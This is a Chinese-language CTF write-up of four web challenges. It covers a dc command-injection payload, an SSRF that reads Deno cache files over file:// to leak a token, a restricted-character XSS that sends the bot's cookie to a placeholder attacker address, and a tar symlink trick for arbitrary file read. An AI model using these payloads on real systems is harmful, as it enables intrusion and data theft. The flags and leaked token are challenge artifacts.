环境还在,赛后看看题,一共四道Web,都挺有意思的。
sequence_gallery
Do you like sequences?
http://sequence-gallery.chal.crewc.tf:8080/
1 | sequence = request.args.get('sequence', None) |
命令注入的一个trick,查手册可知通过-e !
,后面的内容会当作命令执行。
1 | dc -e \!id |
那么在题目中也一样。
1 | http://sequence-gallery.chal.crewc.tf:8080/?sequence=--expression=!cat$IFS*.txt; |
crew{10 63 67 68 101 107 105 76 85 111 68[dan10!=m]smlmx}
这里踩到了一个坑,dc
是一个比较老的命令,在服务器上通常是老的版本,有这个用!
命令执行的trick,而我的macos默认的dc命令来自https://git.gavinhoward.com/gavin/bc
。
这是一个叫做bc
的仓库,大概是后人维护的工具,涵盖dc
这个命令的正常使用。
仓库作者指出由于安全问题,忽略了!
。
1 | This bc also includes an implementation of dc in the same binary, accessible via a symbolic link, which implements all FreeBSD and GNU extensions. (If a standalone dc binary is desired, bc can be copied and renamed to dc.) The ! command is omitted; I believe this poses security concerns and that such functionality is unnecessary. |
对比服务器的dc版本
safe_proxy
Deno sandbox prevents SSRF, right?
http://safe-proxy-web.chal.crewc.tf:8083/
用deno
写的服务。
一个在内网,提供flag,需要PROVIDER_TOKEN
来访问。
另一个可以公网访问,它会用PROVIDER_TOKEN
访问到flag
,并且存储在变量中。访问/
路由会得到sha-256
后的flag
值。
另外给出了一个可以ssrf
的路由,并且限制了可以访问的host
。
1 | const PROVIDER_TOKEN = Deno.env.get('PROVIDER_TOKEN'); |
这里需要思考的是flag
还会在哪可以拿到,所以需要本地搭环境搜文件,会发现.cache
中也有一份。
https://denolib.gitbook.io/guide/advanced/deno_dir-code-fetch-and-cache#code-fetch-logic
参考文章,通过import
加载的文件,会存在.cache/deno/deps/http/<hash>
下,但是目录的hash
并不能直接猜到,看deno
源码后发现计算hash
需要访问的url
,而url
中是有PROVIDER_TOKEN
的,所以需要通过 SSRF
读敏感文件来获取到。
又是一顿本地搜索,发现dep_analysis_cache_v1
中是有一些url
信息的,这是一个sqlite db文件。
访问http://safe-proxy-web.chal.crewc.tf:8083/proxy?url=file:///home/app/.cache/deno/dep_analysis_cache_v1
。
得到http://safe-proxy-flag-provider:8082/?token=5a35327045b0ec9159cc188f643e347f
。
PROVIDER_TOKEN = 5a35327045b0ec9159cc188f643e347f
根据deno
源码,用路由部分计算对应的目录哈希。
访问http://safe-proxy-web.chal.crewc.tf:8083/proxy?url=file:///home/app/.cache/deno/deps/http/safe-proxy-flag-provider_PORT8082/70ec621b0141f80c80d9e26b084da38df4bbf6b4b64d04c837f7b3cd5fe8482b
crew{file://_SSRF_in_modern_6f4544ec261423ce}
hex2dec
Converting from hexadecimal to decimal is a pain.
web: http://hex2dec-web.chal.crewc.tf:8084/
bot: http://hex2dec-bot.chal.crewc.tf:8085/
XSS挑战,目标是获取bot
的cookie
,限制inner.html
的内容正则,并且有CSP
。
CSP:
1 | default-src 'none'; script-src 'unsafe-inline'; |
可控的页面内容:
1 | const params = new URLSearchParams(document.location.search.substring(1)); |
题目本身是一个16进制转换的正则,但是错误的将0-9a-f
写成了0-f
,这会导致包含多余的字符。
1 | let s = '' ; |
1 | +-0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdef |
然而chatgpt的回答😤
这里的0-f
是按照ascii
码大小来排列的,数字和小写字符之间还夹着大写字符和一些符号。
我们的目标是用这些符号,通过js
获取cookie
并且将cookie
带出,如果用xhr
发请求,要麻烦一些。这里可以用location.href
带出cookie
,所以现在的目标是实现location.href = 'http://xx.xx.xx.xx?' + document.cookie
。
这里主要学习这篇文章,没有亲手复现学习了一下思路。
https://nanimokangaeteinai.hateblo.jp/entry/2023/07/10/063030
思路是构造<IMG SRC=X ONERROR=…><IFRAME ID=X>
,用IMG
的ONERROR
执行任意js
,再结合Dom cloberring
,利用iframe
的contentWindow
获取location
。
最终可以用X.parent.location
和X.contentWindow.document.coookie
来偷cookie
。而具体利用这些限制的字符去构造的方法应该比较多,相比于jsfuck
的6个字符要多很多,具体的脚本可以看上面的文章。
crew{dom_clobbering_is_helpful_for_a_restricted_xss}
archive_stat_viewer
Warning: Never extract archives from untrusted sources without prior inspection. It is possible that files are created outside of path, e.g. members that have absolute filenames starting with “/“ or filenames with two dots “..”. https://docs.python.org/3/library/tarfile.html#tarfile.TarFile.extractall
I’m aware this warning but didn’t know what to do right. Is this okay?
http://archive-stat-viewer.chal.crewc.tf:8081/
考察压缩包软链接上传(zip symlink upload)漏洞。
站点可以上传tar
文件,并且分析文件大小和更新时间,有clean
,analyze
,/results/<archive_id>
三个主要的后端路由。
- /analyze 解压缩tar
- /results/<uuid> 返回result.json的内容
- /clean 删除上传的文件目录
过滤了..
和/
,需要用上传软链接的方式来完成任意文件读。
这里首先我们能访问的就是/results/<uuid>
,所以目标肯定是让result.json
变成一个指向flag
的软链接。
如果只上传一次,那么是猜不到本次上传的tar
,解压后的路径,所以需要先随便传一个,之后上传的tar
中的软链接覆盖之前上传文件中的result.json
。
但是之后上传的文件和之前上传的文件并不在同一个目录,比如第一次上传的在/results/<1stuuid>
,第二次为/results/<2nduuid>
,我第二次上传的软链接,没法直接传到/results/<1stuuid>/result.json
,也不能直接覆盖/results/<2nduuid>/result.json
。比如这里传一个从/aaa/result.json
指向flag.txt
的,能指过去,但是我们没办法在web
上访问到这个文件。
所以这里是需要间接覆盖的,需要上传两个软链接,一个是从/aaa
指向这个/results/<1stuuid>
目录的,一个是从/aaa/result.json
指向flag.txt
。
先随便传一个tar
,可以得到对应的results
目录为/results/597a328d-ad98-4026-9552-ff4e7f673f85
接下来上传的tar
中的两个软链接,一个是从/aaa
指向这个results/<uuid>
目录的,一个是从/aaa/result.json
指向flag.txt
。
1 | import os |
本地成功复现
其实就是先把目录软链接过去,这样对应的result.json
也就相应的被替换成对应的软连接
远程也一样打通
crew{fixing_zip/tar_slip_vulnerability_is_hard}